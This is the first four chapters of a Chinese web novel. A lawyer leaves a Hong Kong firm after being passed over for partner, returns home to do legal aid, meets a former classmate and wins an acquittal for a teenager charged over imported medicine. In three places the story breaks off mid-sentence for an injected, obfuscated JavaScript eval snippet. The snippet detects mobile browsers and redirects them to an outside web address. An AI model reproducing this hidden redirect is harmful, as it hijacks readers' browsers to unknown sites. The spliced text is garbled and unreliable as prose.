《春潮晚渡》 1. 第一章 香港,中环,置地广场。 安雅站在27层的落地窗前,小口小口地啜饮着手中的咖啡。阴天,能见度不好,但还是隐约能看见从维多利亚港方向飘来几艘船影影绰绰的桅杆,连同着安雅的心情,也变得不确定了起来。 “你要辞职?”高跟鞋敲击地毯的声音由远至近,沉闷的像香港今天的天气,“开玩笑的吧?这可是金都,全球都排得上名号的顶级红圈律所,真想好了?”杨喃从身后凑过来,话还没说完,茶水间便又传来了脚步声。 安雅回头,正瞟见律所几位高级合伙人从会议室走出。虽然是各种肤色的人种混在一起,但一水的黑西装倒也显得庄重整齐。 她看着这些人一路向茶水间走来,一样的沉默,一样的面无表情,一样的步调姿势,还有,一样的性别。 “这些男人。”安雅轻声向杨喃,“你看,他们满嘴的正义公平,可真正做起事来,用的都是些下三滥的手段。” 杨喃压低了声音:“上午董事会的事我都听说了。你还年轻,合伙人迟早都有你的席位。” “你是没看见Adam早上那副气急败坏的样子。我挺想问问他的,抛开男女不谈,到底是谁更脆弱更不稳定?”安雅喝完最后一口咖啡。 “哎呀,你忍忍。现在大环境不好,出去容易,再想进来,可就难了。”杨喃幽幽地叹了口气。 这让安雅想起几年前的那个夏天,她刚从英国硕士毕业,拿着博士的全奖和几家律所的offer,一时只觉得前路都是坦途,但却不知道该怎么走。 也是一个这样的下午,金都的高级合伙人们围坐在一起,当时的主任甚至当面邀请她加入。“我一直相信会有越来越多的优秀女性进入这个行业,加入金都,所以我一直在等,你愿意吗?” 后来她才知道,那时主任已经年过四十,已婚多年,却未生育。怕的就是作为金都唯一的女性高伙,一旦开了产假这个口子,就再也回不来了。 事实上主任也没有骗她,这几年安雅成长飞速,主任是个好老师,也是个好榜样,是会在股东大会上坚决投她一票的那种人。 但事实却是安雅最后以一票之失,短期内告别了合伙人的职位。 因为主任去世了,几个月前死于癌症。 安雅知道,主任在死前为律所打了一辈子工,兢兢业业,从来不会因为个人琐事影响工作,稳定的就像律所的空调温度一样。 所以在她查出癌症时,都已经到了晚期,枯等了两个月就死了 但世界不会因为任何人而停下,律所也一样。只是新人换旧人,这才过了几个月,就轮到她了。 想到这里,缠绵在心头几个月的隐痛此时又开始发作。失望都是一点点积累,最后汇聚成决定。也是在今天,安雅终于意识到,自己再也不能忽略一直萦绕在心间的那个念头。 她背对着杨喃,自言自语般:“我老家在北方,安城。认识了这么久,你应该还不知道。” 低头看向西装裙上的磁吸胸牌,安雅轻轻一推,光滑的金属片便稳稳落在掌心。杨喃张嘴还想说点什么,却被她一句话堵回去。 她将胸牌连着手中的纸杯扔进垃圾桶,“以后有时间过来玩,给我打个电话就行,当地人全程陪同。” 她觉得自己离开的还算体面,起码跟律所里这些老男人预想的不一样。没错,安雅是个女人,但在遇到不公的时候,没哭没闹也没想上吊。 但当她潇洒地走完了所有离职手续,拎着几万块的包走出写字楼时,还是感觉到好像哪里空了一块。在金都的四年一晃而过,到最后,她好像什么也没留下。 这种情绪在安雅踢掉了高跟鞋,躺在十几平米的出租屋沙发上,听到电话那边几千公里外的母亲嘘寒问暖时,达到了顶峰,鼻子终于开始一阵发酸。 “我没事,就是,有点感冒。”她吸了吸鼻子,尽量恢复正常的音调,“妈,最近我可能回去住一阵。” 电话里母亲的声音好像从来没有变化,也不知道妈妈是不是看起来更衰老了一些。应该是的,但安雅已经好几年都没亲眼见过妈妈了。 “好啊!你终于有假了!”妈妈听起来比她还激动,“什么时候回来,我跟你爸去车站接你。然后午饭就吃十字路口那家炸酱面,你小时候最爱吃了!晚上再去泡个澡,咱这的温泉现在好多都被大酒店开发了,不比香港的差,一泡保准你什么烦恼都没了......” 电话里传来断断续续的呜咽,像夜里受伤的兽,断断续续的疼,却不敢声张。 “回来吧,妈也想你了。”母亲轻声叹了口气。 “我,我......我就是想吃炸酱面了.......”安雅终于抑制不住,泪水倾泻而出。 但哭归哭,闹归闹,辞职的那晚她却睡得很好,连早晨五点的闹钟也不知道被她什么时候按掉。醒来后安雅摸索着手机,才发现已经是上午十点多了。 如果是在平时,她会立刻按下手机洗漱后去健身房,在太阳出来之前简单做一会儿运动,再开始一封一封地回复邮件。但现在,她有的是时间。 想清楚了这件事后,安雅拿着手机,漫无目的地开始查看各个社交软件。 香港习惯用微信此类软件的人并不多,这也导致她除了联系家人和几个固定的朋友,忙起来的时候好几天都不会打开微信一次。 但这次刚打开,就跳出了一条消息。安雅眯着眼睛,把还在震动的手机拿的近了一点。 消息来自于本科政法大学班级群,她轻点对话框,是导员分享了一个pdf文件,并艾特了所有人。紧接着下一条消息是:安城未央区关于招募法律援助律师的公告。 安雅几十秒就读完了那则招募启事,并顺手拨通了公告上留的联系人电话。 “你好,请问未央区的法律援助律师还在招募吗?” “招的。” “我报名,什么时候面试?” “只要符合公告上的要求,把个人简历和证件的扫描版本发过来,审核通过就可以进入面试环节了。” “我大概五分钟之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464717|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经发过去了,您可以查一下邮箱。”她不准备挂断电话,这么多年来,她已经习惯了香港的工作节奏,高效利落的核心,就是逼着对方往前走。 “哦.....我看到了,安小姐是吧?本科政法大学毕业的,五院四系蛮对口的!你是在咱们安城这边执业的吗?怎么没看到你写执业经历?” “毕业之后我就出来工作了。”安雅想了想,还是回复了,“我以前在金都做,什么方向都多少接触过,但兴趣点还是在婚姻家事方面。” “金都?是我想的那个金都吗?”听到关键词,对方的语调明显都提高了不少,“咱们北方是没有这种红圈大所,你之前执业的是北京那个?还是在上海?” “都不是。”安雅组织了下语言,“是大中华区总部,香港金都。” “最快什么时候能来面试?”不知道是因为漂亮的学历还是金都的名声在外,在电话里,中心负责人就当即表示材料审核通过。 “两天后,周二上午9点,怎么样?” “好!咱们法律援助中心具体的地址我已经发给你了,到时候见!” 安雅惊讶于对方身在职场还能保留这种真性情,在招聘这样的事上,没有拉扯,没有试探,仅凭一个电话就能决定。这样的工作方式,对她来说完全像来自于另一个世界。 但既然做了决定,她便立刻着手准备。直到当天晚上,安雅已经买好机票,退掉了房子,处理了所有在安城用不上的东西,只等着下一个天亮就出发。 回安城的飞机快要降落时,安雅被落地时颠簸的气流摇醒。 “安小姐,10分钟后,我们将要降落机场,现在外面温度是9度,请您注意温差,做好保暖。”商务舱的空姐总是很周到。 安雅点点头,从包里拿出围巾披上。但走出航站楼时,她还是被北方夜里的大风上了一课。 面对着身边穿着冲锋衣和毛衣长裤的乘客,光腿长靴披着围巾的安雅,红唇黑发,美的就像不在一个图层。 当然,也冷的不在一个层面。 但这也没什么,安雅想,只怪自己太久没回来,都已经忘了没有摩天大楼和水泥森林的小城里,居然可以有这么大的风。 拖着小巧的行李箱,她走向网约车候车点。除了连打了好几个喷嚏,和腿已经冷的没有知觉之外,安雅也没觉得有什么不适。 好在她打好的车已经在等着了。 “尾号9360。”车里的男人声音温润,镜片后的桃花眼似笑非笑,鼻梁高挺,连侧脸的线条也是极其利落好看。 程枫脚下轻点着刹车,终于看清楚那隐匿在长发下的红唇,嘴角自然地流出微笑。 “安雅?是你吗?” 站在寒风里的安雅被这名字搞的一激灵,已经太久没有人连名带姓的叫过自己了。 在香港,母语是中文的人,却喜欢叫对方的英文名。而母语是英文的人,只用姓称呼她。 像一直戴着面具的演员一般,灯光变暗,脱下戏服,就那么赤裸地站在他面前。 2. 第二章 在看到程枫的那一刻,安雅开始怀疑自己是不是已经用光了这个月的好运气。 半夜落地机场,不仅很容易就打到了车,连平台派给她的滴滴司机都这长这么好看。 程枫的笑极尽温柔,看着还在发呆的安雅,他从驾驶位上走下,自然地走到她面前,接过了安雅手中的行李。 “快上车,外面冷。” 安雅站在风中,向程枫点了点头。但北方夜里的风太大,这个动作很快就被吹散了,只留下程枫瞳仁里致盲的黑,印在她眼底。 “行李我来放就行。”程枫顺手调大了车上的空调。刚坐下,安雅就感觉到一股暖意从她光滑白皙的小腿蔓延上来。 “没想到......会打到你的车。”安雅一时不知该怎么开口,她依稀记得程枫在高中时学习不错,人又干净好看,很受女孩子欢迎。 “好久不见。”程枫侧身从车后座拿了一个柴犬玩偶递到她手里。 “嗯?”安雅被怀里毛茸茸的触感搞得有些无所适从。 “从侧边拆开,就能变成一个小被子。”程枫修长的手指搭在方向盘上,安雅从侧面只能看见他白皙的腕骨和线条流利的侧脸。 安雅这才发觉自己短裙下的大腿已经被冻得发紫,看起来颇有种中毒的意味。她顺着玩偶的侧边将小被子展开,抱着狗头盖住了自己的腿。 车内的氛围灯像一团巨大的萤火,时明时暗,照在程枫的侧脸上,连手指也映的微微发亮。 “这么多年,叔叔阿姨和你都没有搬家。”程枫再次开口,“你放心,我快点开,不会让他们在家里等太久的。” “你说我爸妈啊,他们不知道我这会儿回来。”看着导航上定位的地点,安雅笑了,“不然肯定又要吵着要来机场接我,先不说飞机晚点是常有的事,再加上开车,我爸估计能开着开着都能睡着了。” “你还是那样。”程枫手臂回转,车子拐上另一个路口。 “什么?”几乎是同一时间,安雅的脑中突然一串词汇——愚蠢,骄傲,自以为是。 不知道这些东西都来自于哪里,反正她这几年听到的比这恶毒千百倍的评价也不少。 刚开始她还会在晚上偷偷躲在出租屋的被子里哭,后来她才慢慢明白,被批评、厌恶和痛恨,有时候也不是一件坏事,起码证明了自己有能力,而对方只能无能狂怒,这很公平。 她喜欢公平的一切。 但自嘲是个好习惯,尤其是在陌生的环境和不太熟悉的人。没等程枫回答,她轻声念出自己心中所想:“不像个女人?” “你很好,别这么说。”程枫的话像一片轻飘飘的羽毛缓缓落下,覆在安雅肩上。 他想了想,继续缓慢开口:“你就是你,不用像什么。” 感觉到身边灼灼的目光,安雅鬼使神差的转向程枫,目光相对的瞬间,她有一刻出神。 这几年她一点睡,五点起,两头见不到天,雷打不动,全年无休,终于熬成了在中环上班,拎着十几万手包的人,离红圈律所合伙人,就差一步。 前一天上午的董事会的情形又出现在脑中,久久盘旋......在看完几位董事唾沫横飞的教人做事后,安雅终于等到投票环节。 她自信满满地站在大屏幕前,听着从美国西雅图空降的董事会主席Adam,用带着口音的中文,念出她被pass的结果。 “我知道这对你来说是难以接受的,安。”Adam是个肥胖的白人男性,看她站在那里久久回不过神来,还是象征性的安慰了一下自己的员工,“你的工作能力,大家有目共睹。只是你身上的潜在风险太大,请你理解。” “我理解?”一瞬间安雅像是被抽掉了空气的标本,在密不透风的玻璃罐子里,干燥地凋零。 “你要我怎么理解?董事们不希望我个人生活影响工作,这几年我连一个男朋友也没有交,大陆的家也没有回过;担心我隐婚隐育,我甚至私下签署了条约绝不在金都的工作期间结婚生育,连这个东西的合法性我都不确定,但为了这个位置,两千万的赔偿金我说签就签......” “我能问问是为什么吗?”即使早已猜到答案,安雅还是不死心。 目光环顾下,满屋子秃顶油头的中年男人,顶着一张长疲惫浮肿的脸,却掌握着顶尖企业里百分之一的决策权。 “有些事不能说的太明白,但我作为一个女性,你比我们在座所有人都更了解女性在职场可能会面临的问题。”Adam淡淡的,“而作为决策者,我们有责任为企业规避这些风险。” 车外的路灯一盏一盏飘过,安雅的眼前逐渐模糊。她努力把自己从那段并不美好的记忆中拽出来,但那些人对她说过的话,做过的事还留在她心里。她不能忘,也不敢忘。 好在她了解自己,知道自己的能力,也能掩饰自己的脆弱。 不然在金都那样的地方,只要一旦开始怀疑自己,用不了几天,就会被那些觊觎着她位置的饿狼撕咬的连骨头都不剩。 安雅脑中控制不住地回想着过去的种种,愤懑在心中四处冲撞。她努力抿起精巧的红唇,眼中尽是淡漠。 注意到副驾表现出的不适,程枫将车窗打开了一条缝隙,新鲜冰凉的空气瞬间涌入,将安雅拉回到车上。 “哪里不舒服吗?” 从上车到现在,程枫说的话不多。但在他如湖泊般平静的眼眸之外,安雅却能感觉到一丝亲昵的温情,那是她这几年早已经忘掉的东西。 不知怎么,她突然想去抓住那种亲昵,便抬眼,正好遇上程枫关切的眼神。 两人四目相对,一时无话,连呼吸都变得小心翼翼。 突然,安雅的手机响了起来。 “你好。”看到是法律援助中心刘主任的电话,她立刻接起。 “是安律师吧,不好意思这么晚打扰你。”刘宁宁的语速很快,声音听起来中气十足,“现在有个案子比较急,我又一时想不到能和谁商量,想着你在大所干过,或许愿意帮帮我们?” 刘宁宁这一段话,完全不在安雅的预想之内。 她沉默了几秒:“虽然不知道是什么案子,但我很愿意帮忙。只是.......我还没有正式入职法援中心.......” “只要能让这个案子妥善了结,我作保,安律师你可以直接免试入职。凭你的本事,这也算不上违规。”刘宁宁倒是直接。 一听各凭本事,安雅瞬间就来劲了,“那要不刘律你先跟我简单说说案子的情况?” “你这是答应了?太好了!”刘宁宁毫不掩饰自己的急迫,“这案子本来委托的是我,明天下午就开庭了,检方那边传来消息要定买卖毒品罪。” 看着安雅接电话的表情逐渐凝重,程枫的眼中流露出担心的神色。 “刑事重罪。”安雅喃喃自语。 “但这不对啊!安律师你不知道,咱们这地方医疗教育都比较落后,我的当事人是因为精神疾病在上海看完给开的进口药。回来之后,安城附近甚至全国医院都显示的缺货状态。但精神类药品你知道的,不能随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464718|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便停药,会出人命的!” “实在没办法,孩子从境外网站买了几瓶,被海关扣了,当场就刑拘了。” 安雅沉默地听着刘宁宁的讲述,“他才16岁啊!得病就已经拖垮了一家人,要是再判这么重的罪,这孩子的一生.......” 安雅在电话这边不带表情地接上:“就彻底完了。” “今天检方那边传来消息的时候我都懵了,把身边能问的律师都问了一遍,他们都没有把握。实在没办法了,就想到了你。”刘宁宁的语气逐渐缓和了下来。 “安律师,你是在红圈做过的,学历又好,肯定见多识广,还请你和我一起想想辩护方向,怎么轻判,救救孩子!” 程枫看着安雅握着手机,好看的眉眼轻蹙在一起。 片刻,她将身上的围巾拢紧了一点,红唇轻启:“我的辩护意见是——无罪。” 安雅话音刚落,电话那边的音调就又提高了几个度。“安律师,这不行的吧?至少也得定个非法经营罪,你做无罪辩护是不是有些.......” 但安雅却也不急着解释,“具体的内容,我也需要看了案卷之后再和你商议。但你放心,这个忙,我一定帮。” 程枫听着安雅几句话匆匆约定好了第二天的工作,待他再次看向安雅时,便看到她挂了电话,沉默地窝在副驾上。 他试探着开口:“工作上的事?”窗外越来越黑,程枫放慢了速度。 程枫这一声轻唤,很快把她安雅从刚才的案情里拉了回来。她索性侧着身子,去看他笑起来时若隐若现的酒窝。有时候有,有时候又会消失。 她就这样看着他,心里一阵明明灭灭的,却还是不愿意挪开目光。 被盯了好一阵子的程枫感觉到自己耳后逐渐发热,连耳廓也已肉眼可见的速度红了起来。 “嗯。”安雅难得乖巧地点点头,“我准备回来工作一阵子。” 程枫的眼神轻柔笼在安雅身上,最后落在她身上披着印有标志老花的围巾旁。在这种小地方,有什么工作能配得上这样的围巾?又有什么工作能配得上安雅。 但他也不反驳,嘴角依旧带着笑意,“不管怎么样,能再见到你,我都很开心。” “我......我也一样。”安雅平时没有什么机会说这样的话,甫一说出口倒感觉有些奇怪,只好一味装作在整理头发。 一旁的程枫不做声地看着,眼底露出不易察觉的笑意。 等到车子停稳,程枫从副驾外帮安雅打开车门,凉风再次灌进来的时候,安雅才意识到已经到家了。 她一条腿刚伸出车门外,身上的小狗被子便滑落到地上。“不好意思,我回去洗过了再还给你。” “不用,你放着,我回去洗就行。”路灯为程枫的轮廓附上了一层琥珀色的光泽,看起来温暖又甜蜜。 他将行李箱递到安雅手里,抱着小被子慌乱接过的瞬间,安雅不小心触碰到了他的手。 温暖,干燥,一触即逝。 脸颊好像感觉更烫了一些。 安雅拿起手机,“方便的话,加个联系方式,等我洗干净还你。” 鲜红的指甲在灯下发出凄艳的光泽,程枫接过手机认真扫码,再一次露出那种看不清酒窝的笑。 安雅一瞬恍惚,轻声问:“到时候我该去哪找你呀?” “区医院,我在妇产科上班。”程枫轻描淡写。接着又好像猜到了安雅心里的疑问,便自顾自说了下去,“网约车,说来话长……但你是我的第一位客人。” 3. 第三章 夜深了。 为了不吵醒睡着的父母,安雅本想提着鞋子先摸到自己房间睡一晚,却刚一进门,就看到了已经坐在沙发上等她的母亲。 “妈?你不会,是在这等我吧?”安雅一脸不可置信。 “本来我都已经睡下了。但刚又听到外面有人说话,像你的声音。” 看到是女儿,安妈立刻扑上来,拉着安雅的手上下左右到处这里摸摸,那里看看,像是怕她把身上哪个部位不小心落在了香港。 半晌才像想起来什么似的,从茶几上拿了水果坐下:“刚才你和谁在外面讲话?好像还说了挺久?” “滴滴司机。”安雅头也不抬。 “我怎么看着像小程?” “这么多年过去了,你还记得他?”安雅惊慌。 “他不是在区医院当医生嘛,上次你表妹生孩子大出血,值班的那几个都不敢做手术,多亏了他半夜开车从家里赶过来。”妈妈剥开一个橘子递到安雅手上。 “这地方小,一回两回的,也经常碰见,他不是高中的时候还来过咱家嘛?我从窗子里面看了一眼就知道是他,准没错。” “是是是。”安雅一瓣橘子下肚,丝丝甜味立刻在口腔里弥漫。 安妈的口气逐渐八卦:“你们这些年还有联系?” “没有。”安雅摇摇头,又吃了一瓣。 “那他怎么知道你要回来?”对于安妈这种逐渐加快节奏的问询方法,安雅已经见怪不怪。 仅凭安妈没有接受过任何专业的法律教育与培训,就能熟练掌握庭上交叉问询的技巧,并且用在自己身上,安雅就觉得自己多少是有点做律师的天赋在身上的。 安雅时常会想,如果当时妈妈坚持读书,应该也能成为一个厉害的律师。 可惜,她选了结婚生子这条路。 “都说了是滴滴司机。”安雅一口咬定。 “没别的?”又开始了。 “没有。”安雅的回答把对方想要引到“结婚”这个话题的尝试彻底打破,不出意外的话,本场大获全胜。 吃完一个橘子,看女儿意犹未尽,妈妈又拿了一个递到安雅手上:“不过也是,虽然他工作好,人也长的不错,但你们不合适。” “为什么?”安雅手里刚剥开的这颗橘子更大,看起来也比上一个更饱满多汁。 “怎么,你这么多年不结婚,人就该等你?”对方怎么不能就事论事呢,还搞人身攻击这一套? 没等她反对,直接被对方反杀:“谁像你,都长这么大了还没个对象,人家程医生儿子都上幼儿园了。” 对准了手里的橘子一口咬下,这一次,安雅被酸得龇牙咧嘴。 - 第二天一早,安雅就爬起床来, 中心的负责人已经提前将位置和交通信息发给了安雅,但她在香港养成了只注重效率的习惯,一时半会儿还改不掉,既然这小地方没有地铁,那打车一定是最快的方案。 所以她直接pass掉了手机里的那些公交转乘路线,只复制了地址粘贴在打车软件的目的地上,却许久都没有人接单。 正在焦灼之时,手机突然震动。 【这地方网约车很少,你往马路上走走,应该会有招手即停的出租车。】 是程枫,昨晚加上微信后,这是他们俩第一次聊天。 【你怎么知道我在打车?】安雅边向路边走边回复。 【打车软件刚才提醒我接单来着......】可以想象到程枫说这话时无奈的表情。 安雅急着走路,便没有再回复。 果然,在出了自家巷子外不远的马路上就停着几辆出租车。 在安雅看来,正值早高峰时段,司机却还能三五成群的围在树下抽烟聊天,这个世界完全是疯了。 等她坐在车里,再次拿起手机时,对这个世界的疯感的体验又加深了一层。 【我现在过去应该来不及了。】 【你找到车了吗?】 【算了,还是我去接你吧。你稍等一会儿,我很快过来。】 一时间,安雅分不清楚这是老同学的友好,还是程枫这个已婚已育带儿子的人有什么其它想法。 前一天夜里的种种,在安雅得知程枫有儿子之后,就都被覆上了一层意味不明的别扭。 她做过太多婚姻家事的案子,几乎所有分崩离析的开始,都来自于在外人看来平常到不能再平常的某一天,有人起了心念,欲望就会疯狂长出枝蔓来。 所以安雅直接噼里啪啦打上了一行字:【不用,我已经坐上车了。】 【那晚上下班我去接你,有时间一起吃个饭吗?】对方很快回复,还附赠了一个可爱又委屈的狗狗表情包。 如果说前面所有的话还停留在友好和老同学许久未见的友谊上,程枫最后发来的这句,配合着他已经有儿子的身份,就显得多少有点越界。 安雅敏锐地捕捉到了这种感觉,思考片刻,她还是把已经到嘴边的话咽了下去。 【行,5点下班,法援中心门口,今晚我请客。】信息发出,安雅将目光投向窗外。 她倒要当面看看,这个老同学会说些什么。 十几公里的路并不远,安雅比约定的时间早到中心了十几分钟。 法律援助中心在区法院侧后方的一栋小楼里,正值初夏,满墙的爬山虎在阳光下闪闪发亮。 走进大门时,安雅脑中突然闪过香港随处可见的大楼,遮天蔽日,密不透风。相比之下,眼前的幽静与安宁倒像是幻想,一点也不真实。 “你好,我找刘律。”安雅向门口前台的保安大哥打了个招呼。 大哥正在桌后面吃早饭,一口煎饼还没咽下去,就对着小楼深处大声喊了一句:“刘姐!有人找!” 刘宁宁是区里法律援助中心的负责人,40岁上下,身材有少许发福,说起话来柔声细语。 “安雅是吧?果然是红圈所回来的,这么守时。”刘宁宁直接忽略掉了安雅欠身握手的请求,拉着她就开始亲热的像多年未见的朋友。 “刘律,关于今天下午的案子,我想看看资料。”安雅完全没有想寒暄的意思,“还有当事人,我也需要尽快见面。” “开庭前修改委托律师的手续,就拜托你了可以吗?”安雅面无表情的一口气说完了所有需求,身边的刘宁宁小鸡似的不断点头。 直到听到“修改委托律师”才突然停顿了下。 “你是说,今天下午的开庭......” “我来做这个案子的辩护律师。”安雅已经坐在了刘宁宁办公室里,低头翻阅着案卷资料,“有什么问题吗,刘律?” “我这边倒是没什么问题,只是时间紧,买卖毒品罪是重罪,以案子里当事人购买的药量计算,能保住命都算不错了。但你又要做无罪辩护,万一失败了,我怕当事人那边承受不了.......”刘宁宁忧心忡忡。 “要不还是折中一下,尽量往轻罪的方向做辩护吧?起码在可控范围里。” “刘律你能就这个案子问我的意见,想必就是相信我的能力。”安雅手里继续翻阅着案卷,“昨晚提的条件我同意。如果这个案子我做无罪辩护成功了,在这栋楼里,我要有一间独立的办公室,接案子的方向和数量,都由我自己说了算。” “那如果失败了呢......” “都行,我没想过”安雅淡淡的,“因为不会输。” “安律师,咱们法援中心的当事人不比你之前的客户。”刘宁宁泡了杯热茶递给安雅,“他们可能大字不识几个,也有可能吃了上顿没下顿,年纪大的走不动也有,断了胳膊腿说不清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464719|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的也有。但有一点是确定的,他们来找我们,就是为了求个公道。” “所以法援的案子还请你一定谨慎,因为咱们是这些可怜人最后的希望了。” 安雅接过茶杯,望着刘宁宁满脸的悲怆,一时间说不出话来,只觉手中有千斤重。 等他们一行人等坐在区法院刑一厅时,已经是下午两点多了。 刘宁宁坐在第一排,安雅的身边是那个16岁少年的母亲。 满头蓬乱的白发和已经洗的泛白的黑色外套,印证了刘宁宁之前转述的情况还是保守了。 “请辩方律师发言。”法官向安雅的方向示意。 安雅深吸一口气,从容地站了起来:“我的当事人因为精神疾病,常年需要服药。又因他所使用的进口药品近三个月以来全国的医院都处于缺货状态,不得已从境外网站购得,但却被控方以买卖毒品罪这一重罪起诉。” 她停顿片刻,望向坐在审判席的那个16岁骨瘦如柴的当事人。 “根据最高法院公报案例2024年第5号案明确指出,此类案件中应当注意只有违反国家规定,明知是走私、贩卖毒品的人员而向其提供才可以认定为犯罪。” “综上所述,我方的辩护意见是,无罪。”安雅一语既出,满座哗然。 “请控方发言。”法官继续着庭审程序。 几个来回下来,控方已经知道这个涂着大红唇的女人不好惹,辩护内容也开始节节败退,最后终于走到了刘宁宁预测的非法经营罪。 “我方查阅了近三年来的相关21起案件,无一最后以无罪判处。”控方继续提出反驳意见,但也有了明显的让步。 “所以我方认为,结合司法部相关指导意见,行为人出于医疗目的,违反有关药品管理的国家规定,非法买卖麻醉药品或者精神药品,扰乱市场秩序,情节严重的,至少要以非法经营罪定罪处罚。” 坐在台下的刘宁宁双拳紧握,她知道,这是折中认罪的最好机会。 在接到这个案子最初,刘宁宁所希望的最好结果就是以非法经营罪收场。16岁还小,等她的当事人出来,还能有大把时间去生活。 一旦安雅无罪辩护失败,当事人很有可能就会失去这样一个轻罪,最后落个重刑的结果,这无论对于她们哪一个人来说,都难以承受。 她急迫地望向安雅的方向,视线相触的瞬间,刘宁宁拼命眨眼,只希望安雅能去思考接受轻罪的可能。 但安雅的眼底平静无波,只在刘宁宁的脸上停留了片刻,便挪开了。 双方的辩论从白热化进行到尾声,法官看向安雅:“辩方律师,请发表你的结案陈词。” 安雅指着坐在审判席的少年,“我的当事人,请在座的各位看看他。他只是一个需要精神类药品自救的病人,却要在16岁被冠以重罪。” “敢问在座的哪一位可以站出来告诉他,他想救自己没有错。但我们只是迫于实务判决的司法惯例,所以他必须被认定成为一个犯罪分子。”听着安雅掷地有声的反击,少年的母亲早已泣不成声。 就连控方也将目光从少年母亲的身上收回,逐渐低下了头。 “他可能还不知道,无论哪一项罪名,只要他接受了,那么往后的日子,他就要永远活在这样的阴影之下,而这一切,都只是因为我们的司法惯例。”审判进行到这一步,旁听席的群众也开始交头接耳,一时间,法庭里嘈杂的交谈声此起彼伏。 “安静!”法官示意安雅继续说下去。 “如果我们法律人都只是为了给实务背书,那谁来纠偏扶正,追求公义?”安雅站得笔直,一字一句地说出了这场庭审她的最后发言:“所以我方的辩护意见没有改,也不会改,坚持无罪。” 法官沉默了许久。 终于,法槌落下,满座皆静。 4. 第四章 直到走出法院大门时,安雅的手还被当事人的母亲紧紧握在手里。 “好了好了大姐,以后安律师就在咱们区法援中心做下去了,大姐你随时过来,都能见到她。”刘宁宁满脸笑容,“打赢官司本来就是我们应该做的,就不用说那些感谢的话啦!” 当事人母亲喜极而泣的泪水还挂在鼻尖,混合着蓬乱的白发,一片一片地贴在脸上。 “回去多做点好吃的给孩子,这一场下来,给人折腾的够呛。”终于把安雅从大姐手里救出来,刘宁宁赶忙向已经等在外面的司机招手,“我们就先走了,后面有什么事随时到中心来啊。” 还在发呆的安雅就这么被刘宁宁连推带搡地装进了车里。 官司赢了是在她意料之内的事,但法官当庭宣判无罪,还是给安雅了一个小惊喜。 她在开庭前就知道,此类有争议的案件一般都不会当庭出结果。 但只要能择期宣判,就说明赢面并不小。同样的,作为律师,即使不能实现当庭宣判,安雅也能为当事人争取到更多的时间。 这一切都得益于前一晚,在接到刘宁宁电话后,安雅便马不停蹄地查阅了类似案件的判决文书。 控方在庭上的话并没有错,但他们忽视了一点。就在三个月前,最高法已经对此类案件的审判做了规范,没有无罪判例的产生,并不意味着无罪就是错的。 只是还没有当事人遇到此类事件而已。 又或者也有像今天一样的情况,但最后还是被迫认罪定刑。 “不是每个人都能有足够好的运气,能遇上你这样的律师。”刚坐下,刘宁宁就开始了夸夸模式,“我还想着要抓住机会,害怕那孩子错过一个轻罪。 “没想到,你最后还真能把无罪辩护做成功!”刘宁宁还是有点惊魂未定。 她转过身,用眼神上下打量了安雅好几个来回,终于笑出声来:“你说,怎么就能无罪了呢?哈哈哈哈!” 在以前的工作里,安雅从没机会见到这样的场景。 胜败乃兵家常事,她也不是没有输过案子,但那都是极少数。那赢的时候呢?安雅在心里问自己。 即使是再大的案子,只要到了金都,如果律师处理得好,那都是应该的。 但若是稍有失误,赚不到钱事小,律师再把自己送进去,就不划算了。 所以她从未受到过那些人的夸奖,感谢,或者哪怕一个肯定的眼神,都没有。这直接导致了她在碰见当事人又哭又笑又要下跪道谢的时候,完全呆在了原地。 因为在金都的生存法则里,唯一可以用来衡量价值的东西,只有钱。 感情什么的,都是最没有用的。 “今晚我就连夜把你入职相关的文书手续准备好,明天一早就给上面送过去。”笑完之后的刘宁宁乍看上去红光满面,“但是还有一点,我们可能之前没有聊到.......” 安雅挑眉,表示自己认真在听。 踌躇了几秒,刘宁宁终于下了决心:“关于工资......咱们中心是做法援的,所以只有上面给的补贴,办案子是不能收钱的,这你应该知道吧?” 安雅点点头,法援律师的工作内容和方式她很早以前就在课堂上学过,更别提这些年在业内摸爬滚打,刘宁宁说的这些对她来说都约等于常识。 “安城的人均工资水平也就在4000块左右,小地方,财政也拨不出多少钱。”刘宁宁的声音逐渐低了下去。 “但我一定会为你努力申请,至少给你要到5000块一个月。”她就差拍着胸脯向安雅打包票了,“要是批不下来,缺的部分,中心从经费里给你补上,我保证!” “你别走!”安雅感觉到自己的手再一次被握紧,“我们中心,真的太需要你这样的人了。” 感受着手边传来的触感,刘宁宁的手既棉又软,手心里热乎乎的,让安雅的心里踏实了不少:“刘律,我......” 其实她想说,钱她有,甚至已经赚够了,完全够自己接下来的几十年花。 